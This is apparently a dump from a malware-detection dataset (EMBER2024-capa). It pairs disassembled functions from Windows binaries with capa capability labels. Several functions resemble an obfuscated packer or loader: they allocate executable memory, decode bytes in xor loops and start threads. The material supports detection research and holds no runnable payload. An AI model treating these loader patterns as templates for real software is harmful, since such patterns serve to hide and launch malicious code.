joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14006b930
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x50
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov qword [rsp + 0x90], rbx
mov rax, qword [0x1400fb088]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rbx, r9
mov r10, r8
mov r15, rdx
mov r14, rcx
mov qword [rsp + 0x20], rcx
movabs rax, 0xcbf29ce484222325
mov r9, r8
lea rdx, [r8 + 8]
xor ecx, ecx
mov r8d, 8
cmp r9, rdx
cmova r8d, ecx
ja 0x14006b9b9
movabs rdx, 0x100000001b3
nop word [rax + rax]
movzx ecx, byte [r9]
xor rax, rcx
imul rax, rdx
inc r9
mov rcx, r9
sub rcx, r10
cmp rcx, r8
jne 0x14006b9a0
mov r8, qword [r14 + 0x30]
and r8, rax
add r8, r8
mov rdx, qword [r14 + 0x18]
mov rdi, qword [r14 + 8]
mov rax, qword [rdx + r8*8]
cmp rdi, rax
je 0x14006ba17
mov rcx, qword [rdx + r8*8 + 8]
mov rdi, qword [rcx]
cmp rdi, rax
je 0x14006ba17
mov rax, qword [r10]
mov rdi, qword [rdi + 8]
cmp rax, qword [rdi + 0x10]
je 0x14006b9f6
cmp rdi, qword [rdx + r8*8]
jne 0x14006b9e4
jmp 0x14006ba17
mov r8, rbx
lea rdx, [rsp + 0x20]
lea rcx, [r14 + 8]
call fcn.14006bb80
mov qword [r15], rdi
mov byte [r15 + 8], 0
mov rax, r15
jmp 0x14006bb4f
mov qword [rsp + 0x40], rbx
mov rdx, qword [rbx]
cmp rdi, rdx
je 0x14006ba51
mov rax, qword [rbx + 8]
mov qword [rax], rdx
mov rax, qword [rdx + 8]
mov qword [rax], rdi
mov rax, qword [rdi + 8]
mov qword [rax], rbx
mov rcx, qword [rdi + 8]
mov rax, qword [rdx + 8]
mov qword [rdi + 8], rax
mov rax, qword [rbx + 8]
mov qword [rdx + 8], rax
mov qword [rbx + 8], rcx
mov rdx, qword [r14 + 0x18]
mov rax, qword [rdx + r8*8]
cmp rax, qword [r14 + 8]
jne 0x14006ba6e
mov qword [rdx + r8*8], rbx
mov rax, qword [r14 + 0x18]
mov qword [rax + r8*8 + 8], rbx
jmp 0x14006ba9d
cmp rax, rdi
jne 0x14006ba79
mov qword [rdx + r8*8], rbx
jmp 0x14006ba9d
mov rax, qword [rdx + r8*8 + 8]
mov rcx, qword [rax]
mov qword [rdx + r8*8 + 8], rcx
cmp rcx, rbx
je 0x14006ba9d
mov rdx, qword [r14 + 0x18]
mov rax, qword [rdx + r8*8 + 8]
mov rcx, qword [rax + 8]
mov qword [rdx + r8*8 + 8], rcx
mov rax, qword [r14 + 0x10]
mov rdx, qword [r14 + 0x38]
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
movss xmm1, dword [0x1400dbdd8]
test rax, rax
jns 0x14006babe
addss xmm0, xmm1
xorps xmm2, xmm2
cvtsi2ss xmm2, rdx
test rdx, rdx
jns 0x14006bacf
addss xmm2, xmm1
divss xmm0, xmm2
comiss xmm0, dword [r14]
jbe 0x14006bb44
cmp rdx, 0x200
jae 0x14006baec
lea rdx, [rdx*8]
jmp 0x14006bafe
movabs rax, 0xfffffffffffffff
cmp rdx, rax
jae 0x14006bafe
add rdx, rdx
mov rcx, r14
call fcn.140028fe0
mov rax, qword [r14 + 8]
cmp qword [rax], rax
je 0x14006bb44
mov rdi, qword [rax + 8]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [r14 + 8]
mov r9, qword [r9]
cmp r9, rdi
sete sil
lea r8, [r9 + 0x10]
lea rdx, [rsp + 0x30]
mov rcx, r14
call fcn.14006b930
test sil, sil
je 0x14006bb20
mov qword [r15], rbx
mov byte [r15 + 8], 1
mov rax, r15
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14006fa50
mov rbx, qword [rsp + 0x90]
add rsp, 0x50
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x14006bcc0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x20
lea r11, [r8 + 0x10]
mov rdi, rdx
mov r10, rcx
lea rdx, [r11 + 8]
xor ecx, ecx
mov ebx, 8
cmp r11, rdx
movabs rax, 0xcbf29ce484222325
mov r9, r11
cmova ebx, ecx
ja 0x14006bd19
movabs rdx, 0x100000001b3
nop
movzx ecx, byte [r9]
inc r9
xor rax, rcx
mov rcx, r9
sub rcx, r11
imul rax, rdx
cmp rcx, rbx
jne 0x14006bd00
mov r9, qword [r10 + 0x30]
mov rdx, qword [r10 + 0x18]
and r9, rax
shl r9, 4
add rdx, r9
mov rax, qword [rdx]
cmp qword [rdx + 8], r8
jne 0x14006bd59
cmp rax, r8
jne 0x14006bd4f
mov rax, qword [r10 + 8]
mov qword [rdx], rax
mov rcx, qword [r10 + 0x18]
mov rax, qword [r10 + 8]
mov qword [r9 + rcx + 8], rax
jmp 0x14006bd64
mov rax, qword [r8 + 8]
mov qword [rdx + 8], rax
jmp 0x14006bd64
cmp rax, r8
jne 0x14006bd64
mov rcx, qword [r8]
mov qword [rdx], rcx
lea rcx, [r10 + 8]
mov rdx, rdi
call fcn.14006bb80
mov rbx, qword [rsp + 0x40]
mov rax, rdi
add rsp, 0x20
pop rdi
ret
Function at 0x14007361c
Capabilities:
Set thread local storage value

Disassembly:
sub rsp, 0x48
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x14007362f
add rsp, 0x48
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx edx, ax
lea rcx, [rsp + 0x20]
or edx, 0x80070000
test eax, eax
cmovle edx, eax
call fcn.14007d570
lea rdx, [0x1400f7140]
lea rcx, [rsp + 0x20]
call fcn.14008e0a0
int3

Function at 0x140079570
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rcx
mov ecx, dword [0x1400ff7e0]
call sub.KERNEL32.dll_TlsGetValue
test rax, rax
je 0x140079595
mov rcx, rax
call fcn.14007e354
cmp rax, rdi
je 0x1400795de
mov bl, 1
mov rcx, rdi
mov dl, bl
call fcn.1400795fc
mov al, byte [0x1400ff8d4]
mov dl, 4
mov r8d, dword [rdi + 0x258]
cmp al, dl
jb 0x1400795c3
mov eax, dword [0x1400ff8d0]
test bl, al
jne 0x1400795c5
xor bl, bl
test bl, bl
je 0x1400795d3
mov ecx, 7
call fcn.14007d02c
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
lea rcx, [rsp + 0x20]
call fcn.14007d448
lea rdx, [0x1400f72c0]
lea rcx, [rsp + 0x20]
call fcn.14008e0a0
int3

Function at 0x14007df08
Capabilities:
Set thread local storage value

Disassembly:
mov ecx, dword [0x1400ff7e0]
xor edx, edx
jmp fcn.14007361c

Function at 0x14007e8a0
Capabilities:
Set thread local storage value

Disassembly:
mov rdx, rcx
mov ecx, dword [0x1400ff7e0]
jmp fcn.14007361c

Function at 0x14008a4fc
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rcx + 0x98], rdx
mov r8, rcx
mov r9, qword [rdx + 0x1a8]
add rcx, 0x40
lea rdx, [0x14008a5b8]
mov r9, qword [r9 + 8]
jmp fcn.14007b6e8

Function at 0x14008a590
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rcx + 0x98], rdx
mov r8, rcx
mov r9, qword [rdx + 0x1a8]
add rcx, 0x40
lea rdx, [0x14008a5c8]
mov r9, qword [r9 + 8]
jmp fcn.14007b6e8

Function at 0x1400a0790
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400a05b4
Function at 0x180002660
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x30
mov edi, dword [rsp + 0x60]
lea r14d, [rcx - 0x183]
mov esi, edi
mov ebp, edx
xor esi, 0x150d
xor edi, 0x193b
xor ebp, 0xf6e
mov rbx, r9
lea r9d, [r8 - 0xf6e]
lea r8d, [rcx - 0xc36]
lea eax, [rsi + 0x177b]
cmp ebp, eax
je 0x180002714
cmp dword [0x180026060], 0x13714
je 0x1800026da
mov rcx, qword [section..data]
mov eax, 0xffffca97
sub eax, dword [rbx + 0xdc]
sub eax, dword [rbx + 0x50]
add dword [rcx + 0x28], eax
mov edx, dword [0x1800260b8]
add edx, dword [0x1800260ec]
mov eax, dword [rbx + 0xe8]
xor edx, 0x31f57
imul eax, edx
cmp dword [rbx + 0x14], 0xa825
mov dword [rbx + 0xe8], eax
ja 0x180002714
mov rax, qword [section..data]
mov ecx, dword [rax + 0xe8]
mov dword [rbx + 0x7c], ecx
mov eax, esi
xor eax, 0x644
cmp r8d, eax
jge 0x1800027db
lea edx, [rbp + 0x165c]
cmp r14d, edx
je 0x18000275a
mov rax, qword [section..data]
mov ecx, dword [rax + 4]
sub dword [rbx + 0x7c], ecx
mov rax, qword [section..data]
mov ecx, dword [rbx + 0x94]
cmp dword [rax + 0x48], ecx
je 0x18000275a
mov eax, dword [rbx + 0xe8]
mov dword [rbx + 0xe4], eax
lea eax, [rsi + 0x150d]
mov qword [rsp + 0x28], rbx
lea r9d, [r14 + 0xa5a]
mov dword [rsp + 0x20], eax
add r8d, 0xab3
lea ecx, [rdi + 0x666]
call fcn.18000e500
mov r8d, dword [0x180026120]
xor ecx, ecx
sub r8d, dword [0x180026118]
mov esi, eax
mov edx, dword [0x180026040]
add r8d, 0x34b786
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rax, 0x2000
mov qword [rbx + 0xc8], rax
mov rbx, qword [rsp + 0x40]
xor esi, 0xa47
mov rbp, qword [rsp + 0x48]
mov eax, esi
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
mov rdx, qword [section..data]
mov eax, dword [rdx + 0x104]
and eax, dword [rdx + 0x2c]
cmp dword [rdx + 0x48], eax
ja 0x180002860
mov eax, dword [0x1800260ac]
xor eax, r14d
and eax, r9d
cmp esi, eax
ja 0x1800027b8
mov ecx, dword [rdx + 0x9c]
sub ecx, dword [rdx + 0xa4]
call qword [sym.imp.KERNEL32.dll_HeapLock]
mov rax, qword [section..data]
mov r8d, dword [rbx + 0x108]
mov r10d, dword [rbx + 0x60]
or r10, 0x10e0
imul r9d, esi, 0xc08
mov edx, dword [rax + 0xa4]
lea eax, [rdi + rsi]
imul edx, dword [0x18002603c]
movsxd rcx, eax
imul r8d, r14d
or rcx, 0xe7b
mov qword [rsp + 0x20], r10
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
jmp 0x1800027b8
mov ecx, dword [0x180026038]
mov ebx, dword [rbx]
add ecx, edi
cmp ebx, ecx
jb 0x1800027b8
mov ecx, dword [rdx + 0x9c]
imul ecx, edi
mov eax, ebp
xor rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateActCtxA]
mov ecx, dword [0x180026038]
inc ebx
add ecx, edi
cmp ebx, ecx
jb 0x1800027b8
mov rdx, qword [section..data]
jmp 0x180002872
Function at 0x1800028b0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push r15
sub rsp, 0x28
mov qword [rsp + 0x40], rbp
lea r15d, [rcx - 0x583]
mov ebp, dword [rsp + 0x60]
xor edx, 0x1c59
mov qword [rsp + 0x48], rsi
add ebp, 0x26e
mov qword [rsp + 0x20], r14
mov esi, r9d
lea r14d, [r9 + 0x172]
mov rbx, r8
cmp edx, r9d
je 0x180002965
mov eax, r9d
xor eax, 0x1815
cmp r14d, eax
jl 0x180002965
mov qword [rsp + 0x50], rdi
mov edi, dword [r8 + 0x78]
mov qword [rsp + 0x58], r12
lea r12d, [r9 + 0x1a0b]
cmp edi, r12d
je 0x18000295b
nop word [rax + rax]
mov rax, qword [section..data]
mov ecx, dword [rax + 0x14]
imul ecx, r15d
cmp dword [rbx + 0x70], ecx
jbe 0x180002953
mov ecx, dword [rbx]
sub ecx, dword [0x180026074]
sub ecx, 0x142e
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
lea eax, [rbp - 0xf6e]
mov dword [0x180026038], eax
add edi, 2
cmp edi, r12d
jne 0x180002920
mov rdi, qword [rsp + 0x50]
mov r12, qword [rsp + 0x58]
mov rax, qword [section..data]
cmp dword [rax + 0x28], 0x6f26
jb 0x180002985
mov eax, dword [0x180026058]
xor eax, 0x4f787a29
add dword [rbx + 0x68], eax
jmp 0x18000298e
mov eax, dword [rbx + 0x60]
sub dword [0x180026070], eax
xor esi, 0x1df2
xor r14d, 0x1f8e
sub esi, 0xcac
xor ebp, 0x177b
lea eax, [rsi + 0xe3e]
cmp ebp, eax
jge 0x1800029e7
lea eax, [r14 + 0x20e]
xor eax, 0x552
cmp esi, eax
je 0x1800029e7
xor r14d, 0x1f34
cmp ebp, r14d
je 0x1800029e7
cmp dword [rbx + 0x100], 0xfa72
jae 0x1800029e7
lea rax, [0x180028bb0]
mov qword [rbx + 0xb8], rax
mov edx, dword [rbx + 0x28]
xor r9d, r9d
mov r14, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x40]
nop dword [rax]
mov eax, dword [0x1800260ec]
xor eax, dword [rbx + 0x94]
sub eax, 0x1fceec
xor dword [rbx + 0x100], eax
mov rax, qword [section..data]
mov rcx, qword [rax + 0xb8]
mov eax, edx
sub eax, dword [rbx]
sub eax, 0xbed56
mov r8d, dword [r9 + rcx]
add r9, 4
add dword [rbx + 0x48], eax
mov rax, qword [section..data]
imul r8d, dword [rax + 0x68]
mov eax, dword [rbx + 0x50]
sub eax, 0x56
or eax, edx
mov dword [rbx + 0x28], eax
mov rax, qword [section..data]
movsxd rdx, dword [0x18002607c]
mov rcx, qword [rax + 0xc0]
mov byte [rdx + rcx], r8b
inc dword [0x18002607c]
mov eax, dword [rbx + 0xe0]
imul eax, dword [rbx + 0x14]
mov ecx, dword [rbx + 0x34]
xor ecx, dword [rbx + 0x88]
mov dword [rbx + 0xe0], eax
mov eax, 0xfff04d03
mov rdx, qword [section..data]
sub eax, ecx
add dword [rdx + 0x28], eax
mov ecx, dword [rbx + 0xdc]
add ecx, dword [rbx + 0x88]
mov eax, dword [rbx + 0x28]
xor ecx, 0x180013
imul eax, ecx
mov dword [rbx + 0x28], eax
mov eax, dword [rbx + 0x60]
xor eax, dword [rbx + 0x2c]
sub eax, 0x183290f
add dword [rbx + 0xe0], eax
mov rcx, qword [section..data]
mov eax, dword [0x180026084]
or dword [rcx + 0x94], eax
mov ecx, dword [rbx + 0x108]
mov edx, dword [rbx + 0x28]
add ecx, edx
xor ecx, dword [rbx + 0x98]
xor ecx, 0x407517
mov dword [rbx + 0x98], ecx
cmp r9, 0x1c200
jl 0x180002a00
mov ecx, dword [0x1800260f0]
add ecx, 0xfff9d507
xor r15d, 0x1371
mov dword [0x180026078], ecx
mov eax, r15d
add rsp, 0x28
pop r15
pop rbx
ret
Function at 0x18000d720
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r15
sub rsp, 0x30
movsxd rsi, r8d
lea edi, [rcx + 0x11c0]
mov rbx, rdx
lea ebp, [r9 - 0x5f2]
mov edx, esi
mov r15d, esi
xor edx, 0x113e
xor r15d, 0xe70
lea eax, [rsi - 0x728]
lea r9d, [rsi - 0x182c]
cmp edi, eax
jle 0x18000d7db
mov rax, qword [rbx + 0xc8]
mov qword [rbx + 0xc0], rax
mov rcx, qword [section..data]
mov eax, dword [rcx + 0x48]
cmp dword [0x1800260ec], eax
ja 0x18000d791
mov eax, dword [rcx + 0x88]
xor eax, 0x132f0c
mov dword [rbx + 0x68], eax
jmp 0x18000d7a6
mov ecx, dword [rbx + 0x108]
sub ecx, dword [rbx + 0x94]
add ecx, 0x33f5
mov dword [rbx + 0x50], ecx
mov rax, qword [section..data]
mov ecx, dword [rax + 0xe0]
cmp dword [rax + 0x98], ecx
je 0x18000d8b5
mov ecx, dword [rax + 0x9c]
mov eax, edi
add ecx, 0x17b4a
xor dword [rbx + 0x68], ecx
add rsp, 0x30
pop r15
pop rdi
pop rsi
pop rbp
pop rbx
ret
lea eax, [rdx - 0xf6e]
mov qword [rsp + 0x78], r14
mov r14d, dword [rbx + 0x2c]
mov dword [rsp + 0x60], eax
cmp r14d, eax
je 0x18000d8b0
mov qword [rsp + 0x68], r12
lea r10d, [rbp + 0x1a0b]
movsxd rax, ebp
mov qword [rsp + 0x70], r13
movsxd r12, r9d
or r12, rax
lea eax, [r15 + rbp]
movsxd r13, eax
or r13, rsi
nop dword [rax + rax]
mov rax, qword [section..data]
mov edx, dword [rbx + 0x90]
mov r8d, dword [0x180026074]
add r8d, ebp
mov qword [rsp + 0x28], r12
mov ecx, dword [rax + 0x60]
xor r8d, ebp
or ecx, r15d
mov eax, edi
or ecx, ebp
and rdx, rax
mov eax, r9d
mov r9d, r10d
mov dword [rsp + 0x20], ecx
and rdx, rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov rax, qword [section..data]
mov edx, dword [0x180026080]
add edx, dword [0x180026060]
add edx, esi
mov ecx, dword [rax + 0x104]
and ecx, 0x177b
call qword [sym.imp.KERNEL32.dll_ActivateActCtx]
add r14d, 4
lea r9d, [rsi - 0x182c]
lea r10d, [rbp + 0x1a0b]
cmp r14d, dword [rsp + 0x60]
jne 0x18000d820
mov r13, qword [rsp + 0x70]
mov r12, qword [rsp + 0x68]
mov r14, qword [rsp + 0x78]
mov eax, edi
add rsp, 0x30
pop r15
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x18000e500
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x40
mov ebp, dword [rsp + 0x70]
lea r9d, [rdx - 0x165c]
mov r14d, ecx
lea ebx, [r8 + 0xaa]
mov esi, ebp
lea edi, [rdx - 0x22e]
xor esi, 0x150d
xor r14d, 0x1e1b
lea eax, [rbp - 0x692]
lea r11d, [rbp + 0x31f]
cmp r9d, eax
jg 0x18000e632
mov rdx, qword [rsp + 0x78]
mov eax, dword [0x180026118]
cmp dword [rdx + 0x74], eax
jbe 0x18000e585
mov ecx, dword [rdx + 0xdc]
mov eax, 0x11dee
xor ecx, dword [rdx + 0x9c]
sub eax, ecx
add dword [rdx + 0x108], eax
jmp 0x18000e595
mov rcx, qword [section..data]
mov eax, dword [rdx + 0x18]
add dword [rcx + 0xe4], eax
lea eax, [rsi + 0x129c]
cmp edi, eax
je 0x18000e6ae
lea eax, [r9 + 0x177b]
cmp edi, eax
jge 0x18000e5de
cmp dword [rdx + 0xa8], 0x5c6c
jb 0x18000e5cb
mov eax, dword [rdx + 0x34]
xor eax, dword [rdx + 0x14]
xor eax, dword [0x1800260a8]
xor dword [rdx + 0x2c], eax
jmp 0x18000e5de
mov rax, qword [section..data]
mov ecx, dword [rax + 0x2c]
sub ecx, 0x9bf25
mov dword [rdx + 0x30], ecx
mov eax, 0xfffff902
lea r8d, [r11 - 0xbf6]
sub eax, dword [0x180026084]
lea ecx, [rbx + 0x61f]
add dword [rdx + 0x30], eax
mov r10d, ebx
lea edx, [rdi - 0x5b3]
xor r10d, 0x1c26
mov dword [rsp + 0x30], edx
lea eax, [r11 - 0x9b1]
mov rdx, qword [section..data]
add r9d, 0xf6e
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x20], eax
call sym.zpodb664uz4.dll_PwAFLBz
jmp 0x18000e6ae
mov rbx, qword [rsp + 0x78]
and r9d, r11d
imul r9d, dword [0x180026038]
mov r11d, r14d
mov eax, dword [0x180026108]
xor r11d, esi
mov r8d, dword [rbx + 0x28]
mov edx, dword [rbx + 0x60]
sub esi, r8d
mov ecx, dword [rbx + 0xd0]
or r8, rax
mov r10d, r9d
add edx, 0x150d
mov eax, r14d
xor rdx, 0x1104
mov qword [rsp + 0x28], r10
and rcx, rax
mov r9d, esi
xor r9, 0xab3
mov dword [rsp + 0x20], r11d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, dword [0x180026094]
sub edx, dword [rbx + 0x14]
mov ecx, dword [0x180026018]
and edx, dword [0x180026084]
add ecx, ebp
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rbx, qword [rsp + 0x50]
lea eax, [rdi - 0x3d4]
mov rdi, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop r14
ret
Function at 0x14000ce20
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov r8d, dword [rsp + 0x68]
mov edi, r9d
mov rbx, qword [rsp + 0x60]
mov r9d, r8d
xor r9d, 0x54
xor ecx, 0x11
lea edx, [r8 + 0x2c]
xor r8d, 0x18f
lea r10d, [rdi + 0x21]
cmp r8d, r10d
jl 0x14000ce68
mov eax, dword [rbx + 0xe8]
sub eax, 0x112ddb38
mov dword [0x14006806c], eax
jmp 0x14000ce91
mov eax, dword [rbx + 0xa8]
sub eax, edi
imul eax, ecx
cmp edx, eax
ja 0x14000ce91
mov eax, dword [0x140068074]
or eax, edx
cmp edx, eax
jbe 0x14000ce91
mov eax, dword [rbx + 0xc]
sub eax, edx
add eax, 0xd5
imul r9d, eax
lea eax, [r10 - 0x27]
cmp edx, eax
jle 0x14000d04b
xor ecx, 0x22
cmp r8d, ecx
jl 0x14000d014
mov eax, r8d
lea ecx, [r10 - 0x18]
xor eax, 0x1db
add r8d, 0xffffffb5
mov rdx, rbx
mov dword [rsp + 0x20], eax
call fcn.14000d5d8
xor r10d, r10d
mov eax, dword [0x1400680bc]
mov edx, dword [rbx + 0x44]
add eax, 0xffe53ef1
mov ecx, dword [rbx + 0x4c]
add edx, eax
mov eax, dword [rbx]
imul eax, edx
mov dword [rbx], eax
mov rax, qword [section..data]
sub ecx, dword [rax + 0xfc]
sub ecx, 0x15d8a80
or dword [0x1400680d4], ecx
mov eax, dword [rbx + 0xac]
imul eax, dword [0x1400680bc]
mov dword [rbx + 0xac], eax
mov rcx, qword [section..data]
mov rax, qword [rcx + 0x78]
mov r9d, dword [rax + r10]
mov eax, 0x10
sub eax, dword [0x140068110]
add r10, 4
imul r9d, dword [0x14006806c]
add dword [rcx + 0xb0], eax
movsxd rdx, dword [rbx + 0x60]
mov eax, dword [rbx + 0x58]
add eax, 0x133461
or dword [rbx + 0xac], eax
mov r8d, r9d
mov rax, qword [section..data]
shr r8d, 0x10
mov rcx, qword [rax + 0x80]
mov byte [rdx + rcx], r8b
mov edx, r9d
inc dword [rbx + 0x60]
mov eax, dword [0x140068024]
add eax, eax
shr edx, 8
mov dword [0x140068024], eax
mov eax, dword [0x140068110]
add eax, 0xfffffff0
add dword [rbx + 0x44], eax
movsxd rcx, dword [0x140068070]
mov rax, qword [0x140068090]
mov byte [rcx + rax], dl
inc dword [0x140068070]
movsxd rcx, dword [rbx + 0x60]
mov rax, qword [0x140068090]
mov byte [rcx + rax], r9b
inc dword [rbx + 0x60]
mov eax, dword [0x1400680f8]
mov ecx, dword [0x1400680c0]
add eax, 0xfff809df
add ecx, eax
mov eax, dword [0x1400680d4]
sub eax, dword [0x140068034]
mov dword [0x1400680f8], ecx
add eax, 0xc6ca940
add dword [rbx + 0xc4], eax
mov ecx, dword [rbx]
mov eax, dword [rbx + 0x100]
add eax, 0xffeceb54
add ecx, eax
add dword [rbx + 0xa0], ecx
mov rcx, qword [section..data]
mov eax, dword [rcx + 0x6c]
xor eax, 3
sub dword [rcx], eax
cmp r10, 0x3a930
jl 0x14000cec8
jmp 0x14000d04b
lea eax, [r9 + r9*2]
shl eax, 6
cmp dword [rbx + 8], eax
jbe 0x14000d04b
mov eax, dword [rbx + 0xfc]
sub eax, 0xa8
cmp edx, eax
jne 0x14000d04b
mov eax, dword [rbx + 0x58]
and eax, 0xa1
cmp edx, eax
jbe 0x14000d04b
mov rcx, qword [section..data]
imul eax, edx, 0xe5
xor dword [rcx + 0x4c], eax
lea eax, [rdi + 0x10]
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x14000f0a8
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x40
mov eax, dword [rsp + 0x70]
mov rbx, rdx
mov esi, dword [rsp + 0x78]
mov ebp, r8d
xor ebp, 0x1f6
lea ecx, [rax - 0x2e]
lea edx, [rsi - 0xc0]
mov dword [rsp + 0x60], ecx
lea edi, [rax - 0x2d]
mov dword [rsp + 0x70], edx
lea eax, [rdx + 0xd0]
xor esi, 0xc0
cmp ebp, eax
jle 0x14000f19c
lea eax, [rbp - 0x35]
cmp edi, eax
je 0x14000f145
lea eax, [rsi + 0xb7]
cmp ecx, eax
jg 0x14000f145
mov rdx, qword [section..data]
mov eax, dword [rdx + 0x64]
add eax, 0x131474
or dword [0x140068010], eax
mov eax, dword [0x140068024]
cmp dword [rbx + 0xb0], eax
jb 0x14000f145
mov ecx, dword [rdx + 0xc4]
mov eax, 0x164a3d
xor ecx, dword [0x14006810c]
sub eax, ecx
add dword [rdx + 0x98], eax
mov eax, dword [rbx + 0x100]
xor eax, 0x10a430
sub dword [rbx + 0xb0], eax
mov eax, dword [rbx + 0x58]
add eax, 0x29100a
add dword [rbx + 0xc4], eax
mov eax, dword [rbx + 0xb0]
mov ecx, dword [rbx + 0xc4]
cmp dword [rbx + 0x4c], eax
jbe 0x14000f180
sub dword [0x1400680b0], ecx
jmp 0x14000f2cb
mov eax, dword [0x1400680a8]
xor eax, dword [0x140068110]
xor eax, 0x62586
mov dword [0x1400680a8], eax
jmp 0x14000f2cb
mov rax, qword [section..data]
mov ecx, dword [rax + 0xe8]
imul ecx, esi
cmp edi, ecx
je 0x14000f2cb
mov eax, dword [rbx + 0xc8]
imul eax, edi
mov dword [rsp + 0x78], edi
or eax, edx
cmp edi, eax
ja 0x14000f2cb
mov qword [rsp + 0x28], 0x9f4
mov edx, 0x1d0c
mov ecx, 0x1825
mov qword [rsp + 0x20], 0x38b8
mov r9d, 0xc3f
mov r8d, 0x1689
call fcn.140010da8
mov r8d, dword [0x140068050]
movsxd rcx, eax
mov rax, qword [section..data]
mov qword [0x140116950], rcx
imul r8d, esi
mov qword [rsp + 0x20], rax
mov edx, dword [rax + 0xe4]
mov ecx, dword [rax + 0x30]
and edx, dword [rsp + 0x70]
or ecx, esi
mov r9d, dword [rax + 0x64]
and edx, 0xa1
imul r8d, dword [rsp + 0x60]
xor r9d, ebp
call fcn.14000d308
mov r10d, dword [0x140068068]
mov edx, eax
mov r8d, dword [rbx + 0x58]
mov r11d, edx
mov edx, dword [0x1400680c0]
sub r8d, 0xb7
xor r10d, dword [rsp + 0x60]
sub r11d, dword [rbx + 0x18]
mov dword [rsp + 0x70], eax
mov rax, qword [section..data]
mov ecx, dword [rax + 0xb0]
add edx, ecx
mov r9d, ecx
mov dword [rsp + 0x30], edx
sub r9d, dword [0x140068020]
lea rdx, [0x140068010]
mov ecx, esi
mov dword [rsp + 0x28], r10d
imul ecx, edi
xor r9d, 0xa1
mov dword [rsp + 0x20], r11d
call fcn.14000f0a8
mov ecx, dword [rbx + 0xc8]
mov edi, eax
mov eax, dword [rsp + 0x78]
imul ecx, edi
add eax, 2
mov dword [rsp + 0x78], eax
or ecx, dword [rsp + 0x70]
cmp eax, ecx
jbe 0x14000f1cb
mov rbx, qword [rsp + 0x50]
lea eax, [rbp - 0x3d]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret